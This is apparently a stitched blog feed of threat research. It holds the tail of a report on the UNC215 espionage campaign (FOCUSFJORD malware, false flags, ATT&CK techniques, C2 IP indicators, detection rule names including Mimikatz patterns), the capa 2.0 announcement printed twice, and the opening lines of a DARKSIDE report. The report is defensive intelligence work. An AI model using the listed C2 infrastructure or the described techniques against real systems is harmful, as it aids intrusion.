While hunting for FOCUSFJORD samples, we found a sample of a new malware (MD5: 625dd9048e3289f19670896cf5bca7d8) that shares code with FOCUSFJORD, but is distinct. However, analysis indicates that it only contains functions to relay communications between another FOCUSFJORD instance and a C2 server (Figure 2, Network A). We suspect this type of malware was used in the aforementioned operation. The actors stripped out unnecessary FOCUSFJORD capabilities, possibly to reduce the likelihood it would be detected by security controls. Figure 3 contains the data structure as it is being sent from a FOCUSFJORD sample configured to communicate with another FOCUSFJORD victim.


Figure 3: Two FOCUSFJORD samples configured to proxy C2 traffic

FOCUSFJORD Changes

We have observed numerous variants of the FOCUSFJORD malware family since 2017. The authors have added new communications protocols, an updated loading mechanism, and expanded the number of supported configurations in newer versions. Version numbers indicate that the malware undergoes frequent changes and maybe supported by a team of developers. Many of these variants contain or remove functionality depending on the operator’s unique requirements at the time, which may suggest that multiple operators have access to the source code or a builder, or that a close relationship exists between the developers and operators. 

FOCUSFJORD samples can be configured with up to 13 unique registry values which allow operators to control and organize compromised hosts. In addition to specifying details related to the loading and persistence mechanisms and C2 communications, there are two keys which allow the operator to add additional context about the victim: 

  • Registry key 12 is the “group” name. When a new FOCUSFJORD sample is first executed and writes its configuration to registry, this value is set to “default” and is later manually changed by the actor, usually to the victim’s domain name or organization name.
  • Registry key 13 could be interpreted as the “console” name, although we do not fully understand how the identifier is used by the operators. We have observed the values “galway”, “iceland”, “helen”, and “idapro”.

It is not clear how or if UNC215 uses these configuration parameters to organize and track large numbers of compromised hosts. We observed different console values within the same network, identical console values using different C2 addresses, and identical console values targeting different countries. Some FOCUSFJORD samples from 2018 and 2020 use the same console values despite the significant gap in time (See Table 1).

  • The NCC Group discussed these configurations in a 2018 report and released a decoding tool.
  • Trendmicro noted changes to supported configurations in FOCUSFJORD, dubbed SysUpdate, in their 2020 and 2021 reports following public disclosures. This suggests that operators using FOCUSFJORD are sensitive to security vendor reports and will update the code to avoid detection and exposure.

Registry Key 13

FOCUSFJORD MD5 Hash

Related C2

Suspected Target

helen

3d95e1c94bd528909308b198f3d47620

139.59.81.253

Israel

helen

f335b241652cb7f7e736202f14eb48e9

139.59.81.253

Israel

helen

a0b2193362152053671dbe5033771758

139.59.81.253

Israel

helen

6a9a4da3f7b2075984f79f67e4eb2f28

139.59.81.253

Kazakhstan

helen

a19370b97fe64ca6a0c202524af35a30

159.89.168.83

Iran

helen

3c1981991cce3b329902288bb2354728

103.59.144.183

Unknown

iceland

26d079e3afb08af0ac4c6d92fd221e71

178.79.177.69

UAE

iceland

19c46d01685c463f21ef200e81cb1cf1

138.68.154.133

UAE

iceland

28ce8dbdd2b7dfd123cebbfff263882c

138.68.154.133

Unknown

iceland

a78c53351e23d3f84267e67bbca6cf07 

206.189.123.156

Israel (Gov), UAE

iceland

a78c53351e23d3f84267e67bbca6cf07 

206.189.123.156

Israel (IT)

idapro

a78c53351e23d3f84267e67bbca6cf07 

206.189.123.156

Israel (IT)

galway

04c51909fc65304d907b7cb6c92572cd

159.65.80.157

Unknown

galway

0e061265c0b5998088443628c03188f0

159.65.80.157

Unknown

galway

09ffc31a432f646ebcec59d32f286317

159.65.80.157

Unknown

galway

6ca8993b341bd90a730faef1fb73958b

128.199.44.86

Unknown

Helen *

Unknown

46.101.255.16

Iran

Helen *

Unknown

178.79.143.78

Iran

Idapro *

Unknown

138.68.154.133

Iran

Table 1: FOCUSFJORD comparison (note: the * entries are from public reporting and have not been verified by Mandiant)

False Flags

Artifacts in UNC215 campaigns often contain foreign language strings that do not match the country being targeted and may be intended to mislead an analyst examining the malware. Additionally, on at least three occasions, UNC215 employed a custom tool associated with Iranian actors whose source code was leaked.

  • In several cases, we identified FOCUSFJORD samples with registry key names in regional languages. The registry key names are hardcoded into every FOCUSFJORD sample, as the malware needs to read and decrypt those registry key values for proper execution.
    • FOCUSFJORD samples (MD5: d13311df4e48a47706b4352995d67ab0 and MD5: 26d079e3afb08af0ac4c6d92fd221e71) observed on Israeli and UAE networks, and a memory dump (MD5: d875858dbd84b420a2027ef5d6e3a512) submitted to a public malware repository by a likely Uzbekistan financial organization are configured with registry keys in Farsi. Linguistic analysis suggests that these terms were auto translated as they are not commonly used by native Farsi speakers.
    • Another FOCUSFJORD sample uploaded from Uzbekistan (MD5: ac431261b8852286d99673fddba38a50) contains a configuration with registry key names in Hindi. Notably, this variant also contains an error message string in Arabic ('ضائع' – which translates to: lost or missing).
  • In April 2019, UNC215 deployed the SEASHARPEE web shell against financial and high-tech organizations in the Middle East and Asia. The SEASHARPEE web shell was developed and used by Iranian APT actors until the code was leaked online in the telegram channel Lab Dookhtegan a few weeks earlier in March 2019.
  • Around this time, the Turkish-language file Sosyal Güvenlik Reformu-Not-3.doc "Social Security Reform - Note - 3.doc" (MD5: 6930bd66a11e30dee1ef4f57287b1318) was distributed to a suspected Turkish government entity based on data from an open-source malware repository. The document contains "C:\Users\Iran" paths that were likely included to obfuscate the source of the activity.

The use of Farsi strings, filepaths containing /Iran/, and web shells publicly associated with Iranian APT groups may have been intended to mislead analysts and suggest an attribution to Iran. Notably, in 2019 the government of Iran accused APT27 of attacking its government networks and released a detection and removal tool for HYPERBRO malware.

Tradecraft Mistakes

While UNC215 prioritizes evading detection within a compromised network, Mandiant identified several examples of code, C2 infrastructure, and certificate reuse indicating that UNC215 operators are less concerned about defenders’ ability to track and detect UNC215 activity.

  • In several instances, UNC215 used the same exact file against multiple victims and frequently shared infrastructure across victims. This lack of compartmentalization is not uncommon, but does show that UNC215 is relatively less concerned about the ability for their compromises to be linked to each other.
  • C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020.
  • On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz. After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.

Attribution

Mandiant attributes this campaign to Chinese espionage operators which we track as UNC215 a Chinese espionage operation that has been suspected of targeting organizations around the world since at least 2014. We have low confidence that UNC215 is associated with APT27. UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors. The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives.

Outlook and Implications

The activity detailed in this post demonstrates China’s consistent strategic interest in the Middle East. This cyber espionage activity is happening against the backdrop of China’s multi-billion-dollar investments related to the Belt and Road Initiative (BRI) and its interest in Israeli’s robust technology sector.

  • Chinese companies have invested billions of dollars into Israeli technology startups, partnering or acquiring companies in strategic industries like semi-conductors and artificial intelligence.
  • As China’s BRI moves westward, its most important construction projects in Israel are the railway between Eilat and Ashdod, a private port at Ashdod, and the port of Haifa.

China has conducted numerous intrusion campaigns along the BRI route to monitor potential obstructions—political, economic, and security—and we anticipate that UNC215 will continue targeting governments and organizations involved in these critical infrastructure projects in Israel and the broader Middle East in the near- and mid-term.

MITRE ATT&CK Techniques

ID

Technique

T1003.001

OS Credential Dumping: LSASS Memory

T1007

System Service Discovery

T1010

Application Window Discovery

T1012

Query Registry

T1016

System Network Configuration Discovery

T1021.001

Remote Services: Remote Desktop Protocol

T1027

Obfuscated Files or Information

T1033

System Owner/User Discovery

T1055

Process Injection

T1055.003

Process Injection: Thread Execution Hijacking

T1055.012

Process Injection: Process Hollowing

T1056.001

Input Capture: Keylogging

T1057

Process Discovery

T1059.001

Command and Scripting Interpreter: PowerShell

T1059.003

Command and Scripting Interpreter: Windows Command Shell

T1070.004

Indicator Removal on Host: File Deletion

T1070.006

Indicator Removal on Host: Timestomp

T1071.001

Application Layer Protocol: Web Protocols

T1078

Valid Accounts

T1082

System Information Discovery

T1083

File and Directory Discovery

T1087

Account Discovery

T1090

Proxy

T1095

Non-Application Layer Protocol

T1098

Account Manipulation

T1105

Ingress Tool Transfer

T1112

Modify Registry

T1113

Screen Capture

T1115

Clipboard Data

T1133

External Remote Services

T1134

Access Token Manipulation

T1140

Deobfuscate/Decode Files or Information

T1190

Exploit Public-Facing Application

T1199

Trusted Relationship

T1202

Indirect Command Execution

T1213

Data from Information Repositories

T1482

Domain Trust Discovery

T1489

Service Stop

T1497

Virtualization/Sandbox Evasion

T1497.001

Virtualization/Sandbox Evasion: System Checks

T1505.003

Server Software Component: Web Shell

T1518

Software Discovery

T1543.003

Create or Modify System Process: Windows Service

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

T1553.002

Subvert Trust Controls: Code Signing

T1559.002

Inter-Process Communication: Dynamic Data Exchange

T1560

Archive Collected Data

T1564.003

Hide Artifacts: Hidden Window

T1569.002

System Services: Service Execution

T1573.002

Encrypted Channel: Asymmetric Cryptography

T1574.002

Hijack Execution Flow: DLL Side-Loading

T1583.003

Acquire Infrastructure: Virtual Private Server

T1588.003

Obtain Capabilities: Code Signing Certificates

T1608.003

Stage Capabilities: Install Digital Certificate

Indicators of Compromise

The following indicators have been seen in use with the noted malware families, but not all have been confirmed to be used by UNC215.

Type

Value

Description

IP

85.204.74.143

HYPERBRO C2

IP

103.79.78.48

HYPERBRO C2

IP

89.35.178.105

HYPERBRO C2

IP

47.75.49.32

HYPERBRO C2

IP

139.59.81.253

FOCUSFJORD C2

IP

34.65.151.250

FOCUSFJORD C2

IP

159.89.168.83

FOCUSFJORD C2

IP

103.59.144.183

FOCUSFJORD C2

IP

141.164.52.232

FOCUSFJORD C2

Detecting the Techniques

FireEye detects this activity across our platforms.

Platform(s)

Detection Name

  • Network Security
  • Email Security
  • Detection On Demand
  • Malware Analysis
  • File Protect
  • Backdoor.Win32.HyperBro.FEC3
  • FE_APT_Backdoor_Win32_HYPERBRO_1
  • FE_Downloader_Win32_FOCUSFJORD_2
  • FE_Trojan_Raw32_SILKWRAP_1
  • Trojan.Win32.LuckyMouse.FEC3
  • FE_Trojan_Raw32_SILKWRAP_1
  • 33341691_APT.Downloader.Win.FOCUSFJORD
  • Trojan.Win32.DllHijack.FEC3
  • FE_Trojan_Raw32_SILKWRAP_1
  • FE_Autopatt_Win_FOCUSFJORD
  • Trojan.Generic
  • FE_Tool_Win_Generic_3
  • FE_Tool_Win32_Generic_3
  • FE_Trojan_Win_Generic_154
  • FE_Trojan_Win32_Generic_403
  • FE_Trojan_Win_Generic_155
  • FE_Trojan_Win64_Generic_54
  • FE_APT_Backdoor_Win32_HYPERBRO_2
  • FE_Trojan_Win32_Generic_404
  • FE_Trojan_Win32_Generic_406
  • Suspicious File Config
  • Suspicious Regkey Added
  • Suspicious Process Launch Activity
  • Suspicious Codeinjection Activity
  • Suspicious Process Delete Activity
  • Suspicious Process Hijacking Activity
  • Suspicious Process Self Deletion Activity

Endpoint Security

  • Generic.mg.a0b2193362152053
  • Generic.mg.26d079e3afb08af0
  • Generic.mg.28ce8dbdd2b7dfd1
  • Generic.mg.04c51909fc65304d
  • Generic.mg.0e061265c0b59980
  • Generic.mg.09ffc31a432f646e
  • Generic.mg.6ca8993b341bd90a
  • Generic.mg.0ec4d0a477ba21bd
  • Generic.mg.04dece2662f648f6
  • Trojan.GenericKD.43427954
  • Gen:Variant.Ursu.933105
  • Trojan.GenericKD.32762213
  • Trojan.GenericKD.34854595
  • Gen:Variant.Ursu.256631
  • Gen:Variant.Doina.16603
  • Gen:Variant.Doina.13437

Helix

  • 1.1.2927.fireeye_intel_hit_ip
  • 1.1.2928.fireeye_intel_hit_ip
  • 1.1.2929.fireeye_intel_hit_ip
  • 1.1.2930.fireeye_intel_hit_ip
  • 1.1.2947.fireeye_intel_hit_hash
  • 1.1.2948.fireeye_intel_hit_hash
  • 1.1.2949.fireeye_intel_hit_hash
  • 1.1.2950.fireeye_intel_hit_hash
  • 1.1.1404.windows_methodology_unusual_web_server_child_process
  • 1.1.3506.windows_methodology_adfind
  • 1.1.1650.windows_methodology_mimikatz_args
  • 1.1.1651.antivirus_methodology_mimikatz
  • 1.1.1652.windows_methodology_invokemimikatz_powershell_artifacts
✇ Threat Research

capa 2.0: Better, Faster, Stronger

By: William Ballenthin

We are excited to announce version 2.0 of our open-source tool called capa. capa automatically identifies capabilities in programs using an extensible rule set. The tool supports both malware triage and deep dive reverse engineering. If you haven’t heard of capa before, or need a refresher, check out our first blog post. You can download capa 2.0 standalone binaries from the project’s release page and checkout the source code on GitHub.

capa 2.0 enables anyone to contribute rules more easily, which makes the existing ecosystem even more vibrant. This blog post details the following major improvements included in capa 2.0:

  • New features and enhancements for the capa explorer IDA Pro plugin, allowing you to interactively explore capabilities and write new rules without switching windows
  • More concise and relevant results via identification of library functions using FLIRT and the release of accompanying open-source FLIRT signatures
  • Hundreds of new rules describing additional malware capabilities, bringing the collection up to 579 total rules, with more than half associated with ATT&CK techniques
  • Migration to Python 3, to make it easier to integrate capa with other projects

capa explorer and Rule Generator

capa explorer is an IDAPython plugin that shows capa results directly within IDA Pro. The version 2.0 release includes many additions and improvements to the plugin, but we'd like to highlight the most exciting addition: capa explorer now helps you write new capa rules directly in IDA Pro!

Since we spend most of our time in reverse engineering tools such as IDA Pro analyzing malware, we decided to add a capa rule generator. Figure 1 shows the rule generator interface.


Figure 1: capa explorer rule generator interface

Once you’ve installed capa explorer using the Getting Started guide, open the plugin by navigating to Edit > Plugins > FLARE capa explorer. You can start using the rule generator by selecting the Rule Generator tab at the top of the capa explorer pane. From here, navigate your IDA Pro Disassembly view to the function containing a technique you'd like to capture and click the Analyze button. The rule generator will parse, format, and display all the capa features that it finds in your function. You can write your rule using the rule generator's three main panes: Features, Preview, and Editor. Your first step is to add features from the Features pane.

The Features pane is a tree view containing all the capa features extracted from your function. You can filter for specific features using the search bar at the top of the pane. Then, you can add features by double-clicking them. Figure 2 shows this in action.


Figure 2: capa explorer feature selection

As you add features from the Features pane, the rule generator automatically formats and adds them to the Preview and Editor panes. The Preview and Editor panes help you finesse the features that you've added and allow you to modify other information like the rule's metadata.

The Editor pane is an interactive tree view that displays the statement and feature hierarchy that forms your rule. You can reorder nodes using drag-and-drop and edit nodes via right-click context menus. To help humans understand the rule logic, you can add descriptions and comments to features by typing in the Description and Comment columns. The rule generator automatically formats any changes that you make in the Editor pane and adds them to the Preview pane. Figure 3 shows how to manipulate a rule using the Editor pane.


Figure 3: capa explorer editor pane

The Preview pane is an editable textbox containing the final rule text. You can edit any of the text displayed. The rule generator automatically formats any changes that you make in the Preview pane and adds them to the Editor pane. Figure 4 shows how to edit a rule directly in the Preview pane.


Figure 4: capa explorer preview pane

As you make edits the rule generator lints your rule and notifies you of any errors using messages displayed underneath the Preview pane. Once you've finished writing your rule you can save it to your capa rules directory by clicking the Save button. The rule generator saves exactly what is displayed in the Preview pane. It’s that simple!

We’ve found that using the capa explorer rule generator significantly reduces the amount of time spent writing new capa rules. This tool not only automates most of the rule writing process but also eliminates the need to context switch between IDA Pro and your favorite text editor allowing you to codify your malware knowledge while it’s fresh in your mind.

To learn more about capa explorer and the rule generator check out the README.

Library Function Identification Using FLIRT

As we wrote hundreds of capa rules and inspected thousands of capa results, we recognized that the tool sometimes shows distracting results due to embedded library code. We believe that capa needs to focus its attention on the programmer’s logic and ignore supporting library code. For example, highly optimized C/C++ runtime routines and open-source library code enable a programmer to quickly build a product but are not the product itself. Therefore, capa results should reflect the programmer’s intent for the program rather than a categorization of every byte in the program.

Compare the capa v1.6 results in Figure 5 versus capa v2.0 results in Figure 6. capa v2.0 identifies and skips almost 200 library functions and produces more relevant results.


Figure 5: capa v1.6 results without library code recognition


Figure 6: capa v2.0 results ignoring library code functions

So, we searched for a way to differentiate a programmer’s code from library code.

After experimenting with a few strategies, we landed upon the Fast Library Identification and Recognition Technology (FLIRT) developed by Hex-Rays. Notably, this technique has remained stable and effective since 1996, is fast, requires very limited code analysis, and enjoys a wide community in the IDA Pro userbase. We figured out how IDA Pro matches FLIRT signatures and re-implemented a matching engine in Rust with Python bindings. Then, we built an open-source signature set that covers many of the library routines encountered in modern malware. Finally, we updated capa to use the new signatures to guide its analysis.

capa uses these signatures to differentiate library code from a programmer’s code. While capa can extract and match against the names of embedded library functions, it will skip finding capabilities and behaviors within the library code. This way, capa results better reflect the logic written by a programmer.

Furthermore, library function identification drastically improves capa runtime performance: since capa skips processing of library functions, it can avoid the costly rule matching steps across a substantial percentage of real-world functions. Across our testbed of 206 samples, 28% of the 186,000 total functions are recognized as library code by our function signatures. As our implementation can recognize around 100,000 functions/sec, library function identification overhead is negligible and capa is approximately 25% faster than in 2020!

Finally, we introduced a new feature class that rule authors can use to match recognized library functions: function-name. This feature matches at the file-level scope. We’ve already started using this new capability to recognize specific implementations of cryptography routines, such as AES provided by Crypto++, as shown in the example rule in Figure 7.


Figure 7: Example rule using function-name to recognize AES via Crypto++

As we developed rules for interesting behaviors, we learned a lot about where uncommon techniques are used legitimately. For example, as malware analysts, we most commonly see the cpuid instruction alongside anti-analysis checks, such as in VM detection routines. Therefore, we naively crafted rules to flag this instruction. But, when we tested it against our testbed, the rule matched most modern programs because this instruction is often legitimately used in high-optimized routines, such as memcpy, to opt-in to newer CPU features. In hindsight, this is obvious, but at the time it was a little surprising to see cpuid in around 15% of all executables. With the new FLIRT support, capa recognizes the optimized memcpy routine embedded by Visual Studio and won’t flag the embedded cpuid instruction, as it's not part of the programmer’s code.

When a user upgrades to capa 2.0, they’ll see that the tool runs faster and provides more precise results.

Signature Generation

To provide the benefits of python-flirt to all users (especially those without an IDA Pro license) we have spent significant time to create a comprehensive FLIRT signature set for the common malware analysis use-case. The signatures come included with capa and are also available at our GitHub under the Apache 2.0 license. We believe that other projects can benefit greatly from this. For example, we expect the performance of FLOSS to improve once we’ve incorporated library function identification. Moreover, you can use our signatures with IDA Pro to recognize more library code.

Our initial signatures include:

  • From Microsoft Visual Studio (VS), for all major versions from VS6 to VS2019:
    • C and C++ run-time libraries
    • Active Template Library (ATL) and Microsoft Foundation Class (MFC) libraries
  • The following open-source projects as compiled with VS2015, VS2017, and VS2019:
    • CryptoPP
    • curl
    • Microsoft Detours
    • Mbed TLS (previously PolarSSL)
    • OpenSSL
    • zlib

Identifying and collecting the relevant library and object files took a lot of work. For the older VS versions this was done manually. For newer VS versions and the respective open-source projects we were able to automate the process using vcpgk and Docker.

We then used the IDA Pro FLAIR utilities to convert gigabytes of executable code into pattern files and then into signatures. This process required extensive research and much trial and error. For instance, we spent two weeks testing and exploring the various FLAIR options to understand the best combination. We appreciate Hex-Rays for providing high-quality signatures for IDA Pro and thank them for sharing their research and tools with the community.

To learn more about the pattern and signature file generation check out the siglib repository. The FLAIR utilities are available in the protected download area on Hex-Rays’ website.

Rule Updates

Since the initial release, the community has more than doubled the total capa rule count from 260 to over 570 capability detection rules! This means that capa recognizes many more techniques seen in real-world malware, certainly saving analysts time as they reverse engineer programs. And to reiterate, we’ve surfed a wave of support as almost 30 colleagues from a dozen organizations have volunteered their experience to develop these rules. Thank you!

Figure 8 provides a high-level overview of capabilities capa currently captures, including:

  • Host Interaction describes program functionality to interact with the file system, processes, and the registry
  • Anti-Analysis describes packers, Anti-VM, Anti-Debugging, and other related techniques
  • Collection describes functionality used to steal data such as credentials or credit card information
  • Data Manipulation describes capabilities to encrypt, decrypt, and hash data
  • Communication describes data transfer techniques such as HTTP, DNS, and TCP


Figure 8: Overview of capa rule categories

More than half of capa’s rules are associated with a MITRE ATT&CK technique including all techniques introduced in ATT&CK version 9 that lie within capa’s scope. Moreover, almost half of the capa rules are currently associated with a Malware Behavior Catalog (MBC) identifier.

For more than 70% of capa rules we have collected associated real-world binaries. Each binary implements interesting capabilities and exhibits noteworthy features. You can view the entire sample collection at our capa test files GitHub page. We rely heavily on these samples for developing and testing code enhancements and rule updates.

Python 3 Support

Finally, we’ve spent nearly three months migrating capa from Python 2.7 to Python 3. This involved working closely with vivisect and we would like to thank the team for their support. After extensive testing and a couple of releases supporting two Python versions, we’re excited that capa 2.0 and future versions will be Python 3 only.

Conclusion

Now that you’ve seen all the recent improvements to capa, we hope you’ll upgrade to the newest capa version right away! Thanks to library function identification capa will report faster and more relevant results. Hundreds of new rules capture the most interesting malware functionality while the improved capa explorer plugin helps you to focus your analysis and codify your malware knowledge while it’s fresh.

Standalone binaries for Windows, Mac, and Linux are available on the capa Releases page. To install capa from PyPi use the command pip install flare-capa. The source code is available at our capa GitHub page. The project page on GitHub contains detailed documentation, including thorough installation instructions and a walkthrough of capa explorer. Please use GitHub to ask questions, discuss ideas, and submit issues.

We highly encourage you to contribute to capa’s rule corpus. The improved IDA Pro plugin makes it easier than ever before. If you have any issues or ideas related to rules, please let us know on the GitHub repository. Remember, when you share a rule with the community, you scale your impact across hundreds of reverse engineers in dozens of organizations.

✇ Threat Research

capa 2.0: Better, Faster, Stronger

By: William Ballenthin

We are excited to announce version 2.0 of our open-source tool called capa. capa automatically identifies capabilities in programs using an extensible rule set. The tool supports both malware triage and deep dive reverse engineering. If you haven’t heard of capa before, or need a refresher, check out our first blog post. You can download capa 2.0 standalone binaries from the project’s release page and checkout the source code on GitHub.

capa 2.0 enables anyone to contribute rules more easily, which makes the existing ecosystem even more vibrant. This blog post details the following major improvements included in capa 2.0:

  • New features and enhancements for the capa explorer IDA Pro plugin, allowing you to interactively explore capabilities and write new rules without switching windows
  • More concise and relevant results via identification of library functions using FLIRT and the release of accompanying open-source FLIRT signatures
  • Hundreds of new rules describing additional malware capabilities, bringing the collection up to 579 total rules, with more than half associated with ATT&CK techniques
  • Migration to Python 3, to make it easier to integrate capa with other projects

capa explorer and Rule Generator

capa explorer is an IDAPython plugin that shows capa results directly within IDA Pro. The version 2.0 release includes many additions and improvements to the plugin, but we'd like to highlight the most exciting addition: capa explorer now helps you write new capa rules directly in IDA Pro!

Since we spend most of our time in reverse engineering tools such as IDA Pro analyzing malware, we decided to add a capa rule generator. Figure 1 shows the rule generator interface.


Figure 1: capa explorer rule generator interface

Once you’ve installed capa explorer using the Getting Started guide, open the plugin by navigating to Edit > Plugins > FLARE capa explorer. You can start using the rule generator by selecting the Rule Generator tab at the top of the capa explorer pane. From here, navigate your IDA Pro Disassembly view to the function containing a technique you'd like to capture and click the Analyze button. The rule generator will parse, format, and display all the capa features that it finds in your function. You can write your rule using the rule generator's three main panes: Features, Preview, and Editor. Your first step is to add features from the Features pane.

The Features pane is a tree view containing all the capa features extracted from your function. You can filter for specific features using the search bar at the top of the pane. Then, you can add features by double-clicking them. Figure 2 shows this in action.


Figure 2: capa explorer feature selection

As you add features from the Features pane, the rule generator automatically formats and adds them to the Preview and Editor panes. The Preview and Editor panes help you finesse the features that you've added and allow you to modify other information like the rule's metadata.

The Editor pane is an interactive tree view that displays the statement and feature hierarchy that forms your rule. You can reorder nodes using drag-and-drop and edit nodes via right-click context menus. To help humans understand the rule logic, you can add descriptions and comments to features by typing in the Description and Comment columns. The rule generator automatically formats any changes that you make in the Editor pane and adds them to the Preview pane. Figure 3 shows how to manipulate a rule using the Editor pane.


Figure 3: capa explorer editor pane

The Preview pane is an editable textbox containing the final rule text. You can edit any of the text displayed. The rule generator automatically formats any changes that you make in the Preview pane and adds them to the Editor pane. Figure 4 shows how to edit a rule directly in the Preview pane.


Figure 4: capa explorer preview pane

As you make edits the rule generator lints your rule and notifies you of any errors using messages displayed underneath the Preview pane. Once you've finished writing your rule you can save it to your capa rules directory by clicking the Save button. The rule generator saves exactly what is displayed in the Preview pane. It’s that simple!

We’ve found that using the capa explorer rule generator significantly reduces the amount of time spent writing new capa rules. This tool not only automates most of the rule writing process but also eliminates the need to context switch between IDA Pro and your favorite text editor allowing you to codify your malware knowledge while it’s fresh in your mind.

To learn more about capa explorer and the rule generator check out the README.

Library Function Identification Using FLIRT

As we wrote hundreds of capa rules and inspected thousands of capa results, we recognized that the tool sometimes shows distracting results due to embedded library code. We believe that capa needs to focus its attention on the programmer’s logic and ignore supporting library code. For example, highly optimized C/C++ runtime routines and open-source library code enable a programmer to quickly build a product but are not the product itself. Therefore, capa results should reflect the programmer’s intent for the program rather than a categorization of every byte in the program.

Compare the capa v1.6 results in Figure 5 versus capa v2.0 results in Figure 6. capa v2.0 identifies and skips almost 200 library functions and produces more relevant results.


Figure 5: capa v1.6 results without library code recognition


Figure 6: capa v2.0 results ignoring library code functions

So, we searched for a way to differentiate a programmer’s code from library code.

After experimenting with a few strategies, we landed upon the Fast Library Identification and Recognition Technology (FLIRT) developed by Hex-Rays. Notably, this technique has remained stable and effective since 1996, is fast, requires very limited code analysis, and enjoys a wide community in the IDA Pro userbase. We figured out how IDA Pro matches FLIRT signatures and re-implemented a matching engine in Rust with Python bindings. Then, we built an open-source signature set that covers many of the library routines encountered in modern malware. Finally, we updated capa to use the new signatures to guide its analysis.

capa uses these signatures to differentiate library code from a programmer’s code. While capa can extract and match against the names of embedded library functions, it will skip finding capabilities and behaviors within the library code. This way, capa results better reflect the logic written by a programmer.

Furthermore, library function identification drastically improves capa runtime performance: since capa skips processing of library functions, it can avoid the costly rule matching steps across a substantial percentage of real-world functions. Across our testbed of 206 samples, 28% of the 186,000 total functions are recognized as library code by our function signatures. As our implementation can recognize around 100,000 functions/sec, library function identification overhead is negligible and capa is approximately 25% faster than in 2020!

Finally, we introduced a new feature class that rule authors can use to match recognized library functions: function-name. This feature matches at the file-level scope. We’ve already started using this new capability to recognize specific implementations of cryptography routines, such as AES provided by Crypto++, as shown in the example rule in Figure 7.


Figure 7: Example rule using function-name to recognize AES via Crypto++

As we developed rules for interesting behaviors, we learned a lot about where uncommon techniques are used legitimately. For example, as malware analysts, we most commonly see the cpuid instruction alongside anti-analysis checks, such as in VM detection routines. Therefore, we naively crafted rules to flag this instruction. But, when we tested it against our testbed, the rule matched most modern programs because this instruction is often legitimately used in high-optimized routines, such as memcpy, to opt-in to newer CPU features. In hindsight, this is obvious, but at the time it was a little surprising to see cpuid in around 15% of all executables. With the new FLIRT support, capa recognizes the optimized memcpy routine embedded by Visual Studio and won’t flag the embedded cpuid instruction, as it's not part of the programmer’s code.

When a user upgrades to capa 2.0, they’ll see that the tool runs faster and provides more precise results.

Signature Generation

To provide the benefits of python-flirt to all users (especially those without an IDA Pro license) we have spent significant time to create a comprehensive FLIRT signature set for the common malware analysis use-case. The signatures come included with capa and are also available at our GitHub under the Apache 2.0 license. We believe that other projects can benefit greatly from this. For example, we expect the performance of FLOSS to improve once we’ve incorporated library function identification. Moreover, you can use our signatures with IDA Pro to recognize more library code.

Our initial signatures include:

  • From Microsoft Visual Studio (VS), for all major versions from VS6 to VS2019:
    • C and C++ run-time libraries
    • Active Template Library (ATL) and Microsoft Foundation Class (MFC) libraries
  • The following open-source projects as compiled with VS2015, VS2017, and VS2019:
    • CryptoPP
    • curl
    • Microsoft Detours
    • Mbed TLS (previously PolarSSL)
    • OpenSSL
    • zlib

Identifying and collecting the relevant library and object files took a lot of work. For the older VS versions this was done manually. For newer VS versions and the respective open-source projects we were able to automate the process using vcpgk and Docker.

We then used the IDA Pro FLAIR utilities to convert gigabytes of executable code into pattern files and then into signatures. This process required extensive research and much trial and error. For instance, we spent two weeks testing and exploring the various FLAIR options to understand the best combination. We appreciate Hex-Rays for providing high-quality signatures for IDA Pro and thank them for sharing their research and tools with the community.

To learn more about the pattern and signature file generation check out the siglib repository. The FLAIR utilities are available in the protected download area on Hex-Rays’ website.

Rule Updates

Since the initial release, the community has more than doubled the total capa rule count from 260 to over 570 capability detection rules! This means that capa recognizes many more techniques seen in real-world malware, certainly saving analysts time as they reverse engineer programs. And to reiterate, we’ve surfed a wave of support as almost 30 colleagues from a dozen organizations have volunteered their experience to develop these rules. Thank you!

Figure 8 provides a high-level overview of capabilities capa currently captures, including:

  • Host Interaction describes program functionality to interact with the file system, processes, and the registry
  • Anti-Analysis describes packers, Anti-VM, Anti-Debugging, and other related techniques
  • Collection describes functionality used to steal data such as credentials or credit card information
  • Data Manipulation describes capabilities to encrypt, decrypt, and hash data
  • Communication describes data transfer techniques such as HTTP, DNS, and TCP


Figure 8: Overview of capa rule categories

More than half of capa’s rules are associated with a MITRE ATT&CK technique including all techniques introduced in ATT&CK version 9 that lie within capa’s scope. Moreover, almost half of the capa rules are currently associated with a Malware Behavior Catalog (MBC) identifier.

For more than 70% of capa rules we have collected associated real-world binaries. Each binary implements interesting capabilities and exhibits noteworthy features. You can view the entire sample collection at our capa test files GitHub page. We rely heavily on these samples for developing and testing code enhancements and rule updates.

Python 3 Support

Finally, we’ve spent nearly three months migrating capa from Python 2.7 to Python 3. This involved working closely with vivisect and we would like to thank the team for their support. After extensive testing and a couple of releases supporting two Python versions, we’re excited that capa 2.0 and future versions will be Python 3 only.

Conclusion

Now that you’ve seen all the recent improvements to capa, we hope you’ll upgrade to the newest capa version right away! Thanks to library function identification capa will report faster and more relevant results. Hundreds of new rules capture the most interesting malware functionality while the improved capa explorer plugin helps you to focus your analysis and codify your malware knowledge while it’s fresh.

Standalone binaries for Windows, Mac, and Linux are available on the capa Releases page. To install capa from PyPi use the command pip install flare-capa. The source code is available at our capa GitHub page. The project page on GitHub contains detailed documentation, including thorough installation instructions and a walkthrough of capa explorer. Please use GitHub to ask questions, discuss ideas, and submit issues.

We highly encourage you to contribute to capa’s rule corpus. The improved IDA Pro plugin makes it easier than ever before. If you have any issues or ideas related to rules, please let us know on the GitHub repository. Remember, when you share a rule with the community, you scale your impact across hundreds of reverse engineers in dozens of organizations.

✇ Threat Research

Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise

By: Tyler McLellan

Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website. While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.

